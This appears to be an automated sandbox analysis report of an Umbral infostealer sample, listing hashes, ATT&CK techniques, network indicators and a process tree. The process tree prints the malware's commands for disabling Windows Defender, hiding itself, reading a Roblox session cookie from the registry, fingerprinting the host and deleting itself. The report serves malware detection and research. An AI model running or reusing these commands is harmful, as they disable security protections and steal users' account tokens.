umbral | eb7b040543cc8d89d74c37e1d8dda3f909afe93f4ba9669e9442713e9ff2485c

Analysis

max time kernel
139s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
18-05-2024 21:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe
Size

221KB
MD5

049c49c23b12b4c23c7dd37a7d1c4b10
SHA1

7f6ca35b4fcf42dc73fd9ca4528f5aed2e5e7557
SHA256

eb7b040543cc8d89d74c37e1d8dda3f909afe93f4ba9669e9442713e9ff2485c
SHA512

787f50e65b3ef337ad1737cb091b85a074bbdd1e675528135660cb31cae9e46a097faf2c60bf0b8ca27520c901b7913e25230faf389aee655199661343b1326b
SSDEEP

6144:hloZMrrIkd8g+EtXHkv/iD4leM7K8euoLi:ToZcL+EP8cTG

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2196-0-0x000002C3C7360000-0x000002C3C739E000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4388	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
27	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3792	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2952	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4388	powershell.exe
4388	powershell.exe
1056	powershell.exe
1056	powershell.exe
3664	powershell.exe
3664	powershell.exe
4684	powershell.exe
4684	powershell.exe
4380	powershell.exe
4380	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeIncreaseQuotaPrivilege	4464	wmic.exe
Token: SeSecurityPrivilege	4464	wmic.exe
Token: SeTakeOwnershipPrivilege	4464	wmic.exe
Token: SeLoadDriverPrivilege	4464	wmic.exe
Token: SeSystemProfilePrivilege	4464	wmic.exe
Token: SeSystemtimePrivilege	4464	wmic.exe
Token: SeProfSingleProcessPrivilege	4464	wmic.exe
Token: SeIncBasePriorityPrivilege	4464	wmic.exe
Token: SeCreatePagefilePrivilege	4464	wmic.exe
Token: SeBackupPrivilege	4464	wmic.exe
Token: SeRestorePrivilege	4464	wmic.exe
Token: SeShutdownPrivilege	4464	wmic.exe
Token: SeDebugPrivilege	4464	wmic.exe
Token: SeSystemEnvironmentPrivilege	4464	wmic.exe
Token: SeRemoteShutdownPrivilege	4464	wmic.exe
Token: SeUndockPrivilege	4464	wmic.exe
Token: SeManageVolumePrivilege	4464	wmic.exe
Token: 33	4464	wmic.exe
Token: 34	4464	wmic.exe
Token: 35	4464	wmic.exe
Token: 36	4464	wmic.exe
Token: SeIncreaseQuotaPrivilege	4464	wmic.exe
Token: SeSecurityPrivilege	4464	wmic.exe
Token: SeTakeOwnershipPrivilege	4464	wmic.exe
Token: SeLoadDriverPrivilege	4464	wmic.exe
Token: SeSystemProfilePrivilege	4464	wmic.exe
Token: SeSystemtimePrivilege	4464	wmic.exe
Token: SeProfSingleProcessPrivilege	4464	wmic.exe
Token: SeIncBasePriorityPrivilege	4464	wmic.exe
Token: SeCreatePagefilePrivilege	4464	wmic.exe
Token: SeBackupPrivilege	4464	wmic.exe
Token: SeRestorePrivilege	4464	wmic.exe
Token: SeShutdownPrivilege	4464	wmic.exe
Token: SeDebugPrivilege	4464	wmic.exe
Token: SeSystemEnvironmentPrivilege	4464	wmic.exe
Token: SeRemoteShutdownPrivilege	4464	wmic.exe
Token: SeUndockPrivilege	4464	wmic.exe
Token: SeManageVolumePrivilege	4464	wmic.exe
Token: 33	4464	wmic.exe
Token: 34	4464	wmic.exe
Token: 35	4464	wmic.exe
Token: 36	4464	wmic.exe
Token: SeIncreaseQuotaPrivilege	2924	wmic.exe
Token: SeSecurityPrivilege	2924	wmic.exe
Token: SeTakeOwnershipPrivilege	2924	wmic.exe
Token: SeLoadDriverPrivilege	2924	wmic.exe
Token: SeSystemProfilePrivilege	2924	wmic.exe
Token: SeSystemtimePrivilege	2924	wmic.exe
Token: SeProfSingleProcessPrivilege	2924	wmic.exe
Token: SeIncBasePriorityPrivilege	2924	wmic.exe
Token: SeCreatePagefilePrivilege	2924	wmic.exe
Token: SeBackupPrivilege	2924	wmic.exe
Token: SeRestorePrivilege	2924	wmic.exe
Token: SeShutdownPrivilege	2924	wmic.exe
Token: SeDebugPrivilege	2924	wmic.exe
Token: SeSystemEnvironmentPrivilege	2924	wmic.exe
Token: SeRemoteShutdownPrivilege	2924	wmic.exe
Token: SeUndockPrivilege	2924	wmic.exe
Token: SeManageVolumePrivilege	2924	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1396	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	82
PID 2196 wrote to memory of 1396	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	82
PID 2196 wrote to memory of 4388	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	84
PID 2196 wrote to memory of 4388	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	84
PID 2196 wrote to memory of 1056	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	88
PID 2196 wrote to memory of 1056	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	88
PID 2196 wrote to memory of 3664	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	91
PID 2196 wrote to memory of 3664	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	91
PID 2196 wrote to memory of 4684	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	93
PID 2196 wrote to memory of 4684	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	93
PID 2196 wrote to memory of 4464	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	95
PID 2196 wrote to memory of 4464	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	95
PID 2196 wrote to memory of 2924	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	98
PID 2196 wrote to memory of 2924	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	98
PID 2196 wrote to memory of 2744	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	100
PID 2196 wrote to memory of 2744	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	100
PID 2196 wrote to memory of 4380	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	102
PID 2196 wrote to memory of 4380	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	102
PID 2196 wrote to memory of 3792	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	104
PID 2196 wrote to memory of 3792	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	104
PID 2196 wrote to memory of 3284	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	109
PID 2196 wrote to memory of 3284	2196	049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe	109
PID 3284 wrote to memory of 2952	3284	cmd.exe	111
PID 3284 wrote to memory of 2952	3284	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1396	attrib.exe

C:\Users\Admin\AppData\Local\Temp\049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe"
  2⤵
  - Views/modifies file attributes
  PID:1396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4380
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\049c49c23b12b4c23c7dd37a7d1c4b10_NeikiAnalytics.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
701392d6919b370c4dd0052496bc0da4

SHA1
ce8b2b1e3a0b074fb9947917f887ceb20eee314f

SHA256
ea259495dd0823e6cfce7ca1f20cf5fa58426a02f1640f98b9792e54e28359cd

SHA512
0ad82673546f84e6d4ed6ae0e9f14e6a8fffe7f11d9aa5e05ff7c1134dec74f4e0c85c5ac88df512b02f26d4386a980f50fa2684fcc724140242520b6a43beae

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qbtditm.4yc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2196-70-0x000002C3E1B60000-0x000002C3E1B72000-memory.dmp

Filesize
72KB

Download
memory/2196-33-0x000002C3E1A40000-0x000002C3E1A5E000-memory.dmp

Filesize
120KB

Download
memory/2196-88-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download
memory/2196-69-0x000002C3E1A30000-0x000002C3E1A3A000-memory.dmp

Filesize
40KB

Download
memory/2196-2-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download
memory/2196-31-0x000002C3E1A90000-0x000002C3E1B06000-memory.dmp

Filesize
472KB

Download
memory/2196-32-0x000002C3E1B10000-0x000002C3E1B60000-memory.dmp

Filesize
320KB

Download
memory/2196-0-0x000002C3C7360000-0x000002C3C739E000-memory.dmp

Filesize
248KB

Download
memory/2196-1-0x00007FFCDBF83000-0x00007FFCDBF85000-memory.dmp

Filesize
8KB

Download
memory/4388-15-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download
memory/4388-14-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download
memory/4388-3-0x000001D24B6A0000-0x000001D24B6C2000-memory.dmp

Filesize
136KB

Download
memory/4388-13-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download
memory/4388-18-0x00007FFCDBF80000-0x00007FFCDCA41000-memory.dmp

Filesize
10.8MB

Download